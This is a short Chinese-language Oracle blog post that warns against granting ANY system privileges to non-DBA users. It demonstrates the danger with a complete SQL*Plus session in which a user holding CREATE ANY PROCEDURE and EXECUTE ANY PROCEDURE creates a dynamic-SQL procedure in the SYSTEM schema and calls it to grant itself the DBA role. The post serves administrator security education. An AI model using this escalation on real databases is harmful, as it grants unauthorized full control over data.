分类: Oracle
2010-06-08 13:50:14
Oracle推荐给用户授予权限时,给予用户可以完成操作的最小权限。应当尽量避免对用户授予包含ANY的系统权限,如SELECT ANY TABLE,CREATE ANY TABLE等。
这些包含ANY的系统权限很大,只应该授权给DBA用户,而不应该授权给普通用户。如果给非DBA用户授权ANY系统权限,则会使数据库处于不安全状态。
下面的例子展示了一个用户具有了CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE权限,就可以通过其他方式获取数据库中所有的权限。
SQL> create user a identified by a;
用户已创建
SQL> grant create session to a;
授权成功。
SQL> grant create any procedure, execute any procedure to a;
授权成功。
SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
SQL> select * from session_roles;
未选定行
SQL> create procedure system.p_execute(p_str in varchar2) as
2 begin
3 execute immediate p_str;
4 end;
5 /
过程已创建。
SQL> exec system.p_execute('grant dba to a');
PL/SQL 过程已成功完成。
SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
.
.
.
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET
已选择140行。
SQL> select * from session_roles;
ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
已选择9行。